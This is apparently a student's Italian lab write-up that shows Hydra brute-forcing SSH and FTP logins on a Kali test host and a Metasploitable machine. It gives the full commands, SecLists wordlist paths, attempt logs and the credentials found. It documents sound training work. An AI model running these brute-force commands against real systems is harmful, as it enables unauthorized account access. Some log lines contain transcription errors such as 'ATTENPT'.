

Esercizio S6L4

In questo esercizio ho dovuto creare un nuovo utente sulla macchina kali ed ho provato a crackare la password per il servizio ssh:

```
(daveide@kali) ~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -V 192.168.1.18 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:26:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (1:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.1.18:22/
[ATTEMPT] target 192.168.1.18 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "123456789" - 5 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "12345" - 6 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "1234" - 7 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "111111" - 8 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "1234567" - 9 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "dragon" - 10 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "123123" - 11 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "baseball" - 12 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "abc123" - 13 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "football" - 14 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "monkey" - 15 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "letmein" - 16 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "696969" - 17 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "shadow" - 18 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "master" - 19 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "info" - pass "666666" - 20 of 8295455000000 [child 2] (0/0)
```

Ho installato seclists per avere una folta lista di usernames e password.

Per motivi di tempo ho creato un file con poche password e pochi username per verificare che il servizio venisse crackato correttamente:

```
(daveide@kali) ~$ hydra -L /home/daveide/Desktop/ssh_users.txt -P /home/daveide/Desktop/ssh_pass.txt -V 192.168.1.18 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:38:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 20 login tries (1:4/p:5), ~5 tries per task
[DATA] attacking ssh://192.168.1.18:22/
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "password" - 1 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "123456" - 2 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "ciaociao" - 3 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "654321" - 4 of 20 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "testpass" - 5 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "password" - 6 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "123456" - 7 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "ciaociao" - 8 of 20 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "654321" - 9 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "testpass" - 10 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "password" - 11 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "123456" - 12 of 20 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "ciaociao" - 13 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "654321" - 14 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "testpass" - 15 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "password" - 16 of 20 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "123456" - 17 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "654321" - 18 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "testpass" - 19 of 20 [child 2] (0/0)
[22][ssh] host: 192.168.1.18 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 15:39:08
```

Com'è possibile vedere il programma è riuscito correttamente a crackare la password.

Ho provato anche a crackare la password del servizio FTP (dopo averlo installato e verificato che fosse attivo):

```
(daveide@kali) ~$ hydra -L /home/daveide/Desktop/ssh_users.txt -P /home/daveide/Desktop/ssh_pass.txt -V 192.168.1.18 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:49:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20 login tries (1:4/p:5), ~2 tries per task
[DATA] attacking ftp://192.168.1.18:21/
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "password" - 1 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "123456" - 2 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "ciaociao" - 3 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "654321" - 4 of 20 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "admin" - pass "testpass" - 5 of 20 [child 4] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "password" - 6 of 20 [child 5] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "123456" - 7 of 20 [child 6] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "ciaociao" - 8 of 20 [child 7] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "654321" - 9 of 20 [child 8] (0/0)
[ATTEMPT] target 192.168.1.18 - login "user" - pass "testpass" - 10 of 20 [child 9] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "password" - 11 of 20 [child 10] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "123456" - 12 of 20 [child 11] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "ciaociao" - 13 of 20 [child 12] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "654321" - 14 of 20 [child 13] (0/0)
[ATTEMPT] target 192.168.1.18 - login "root" - pass "testpass" - 15 of 20 [child 14] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "password" - 16 of 20 [child 15] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "123456" - 17 of 20 [child 6] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "ciaociao" - 18 of 20 [child 7] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "654321" - 19 of 20 [child 8] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_user" - pass "testpass" - 20 of 20 [child 1] (0/0)
[21][ftp] host: 192.168.1.18 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 15:49:08
```

La principale differenza, oltre al protocollo è che non è inserito il parametro T4 che specifica i tasks che verranno eseguiti in parallelo.

Su metasploitable invece ho prima controllato che le rispettive porte fossero aperte ed ho attaccato:

FTP

```
(daveide@kali)~$ hydra -L /home/daveide/Desktop/ssh_users.txt -P /home/daveide/Desktop/ssh_pass.txt -V 192.168.1.24 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway
).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 16:01:19
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:5/p:6), ~2 tries per task
[ATTENPT] target 192.168.1.24 - login "admin" - pass "password" - 1 of 30 [child 0] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "123456" - 2 of 30 [child 1] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "ciaociao" - 3 of 30 [child 2] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "654321" - 4 of 30 [child 3] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "testpass" - 5 of 30 [child 4] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "msfadmin" - 6 of 30 [child 5] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "password" - 7 of 30 [child 6] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "123456" - 8 of 30 [child 7] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "ciaociao" - 9 of 30 [child 8] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "654321" - 10 of 30 [child 9] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "testpass" - 11 of 30 [child 10] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "msfadmin" - 12 of 30 [child 11] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "password" - 13 of 30 [child 12] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "123456" - 14 of 30 [child 13] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "ciaociao" - 15 of 30 [child 14] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "654321" - 16 of 30 [child 15] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "testpass" - 17 of 30 [child 16] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "password" - 18 of 30 [child 17] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "password" - 19 of 30 [child 18] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "123456" - 20 of 30 [child 19] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "ciaociao" - 21 of 30 [child 20] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "654321" - 22 of 30 [child 21] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "testpass" - 23 of 30 [child 22] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "msfadmin" - 24 of 30 [child 23] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "password" - 25 of 30 [child 24] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "123456" - 26 of 30 [child 25] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "ciaociao" - 27 of 30 [child 26] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "654321" - 28 of 30 [child 27] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "testpass" - 29 of 30 [child 28] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "msfadmin" - 30 of 30 [child 29] (0/0)
(22)[ftp] host: 192.168.1.24 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 16:01:26
```

SSH (ho dovuto attivare kali tweaks)

```
(daveide@kali)~$ hydra -L /home/daveide/Desktop/ssh_users.txt -P /home/daveide/Desktop/ssh_pass.txt -V 192.168.1.24 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway
).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 16:31:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:5/p:6), ~8 tries per task
[ATTENPT] target 192.168.1.24 - login "admin" - pass "password" - 1 of 30 [child 0] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "123456" - 2 of 30 [child 1] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "ciaociao" - 3 of 30 [child 2] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "654321" - 4 of 30 [child 3] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "testpass" - 5 of 30 [child 4] (0/0)
[ATTENPT] target 192.168.1.24 - login "admin" - pass "msfadmin" - 6 of 30 [child 5] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "password" - 7 of 30 [child 6] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "123456" - 8 of 30 [child 7] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "ciaociao" - 9 of 30 [child 8] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "654321" - 10 of 30 [child 9] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "testpass" - 11 of 30 [child 10] (0/0)
[ATTENPT] target 192.168.1.24 - login "user" - pass "msfadmin" - 12 of 30 [child 11] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "password" - 13 of 30 [child 12] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "123456" - 14 of 30 [child 13] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "ciaociao" - 15 of 30 [child 14] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "654321" - 16 of 30 [child 15] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "testpass" - 17 of 30 [child 16] (0/0)
[ATTENPT] target 192.168.1.24 - login "root" - pass "msfadmin" - 18 of 30 [child 17] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "password" - 19 of 30 [child 18] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "123456" - 20 of 30 [child 19] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "ciaociao" - 21 of 30 [child 20] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "654321" - 22 of 30 [child 21] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "testpass" - 23 of 30 [child 22] (0/0)
[ATTENPT] target 192.168.1.24 - login "test_user" - pass "msfadmin" - 24 of 30 [child 23] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "password" - 25 of 30 [child 24] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "123456" - 26 of 30 [child 25] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "ciaociao" - 27 of 30 [child 26] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "654321" - 28 of 30 [child 27] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "testpass" - 29 of 30 [child 28] (0/0)
[ATTENPT] target 192.168.1.24 - login "msfadmin" - pass "msfadmin" - 30 of 30 [child 29] (0/0)
(22)[ssh] host: 192.168.1.24 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 16:31:29
```

Per telnet invece nonostante non abbia errori non riesce a riconoscermi lo username e la password

Davide Lecci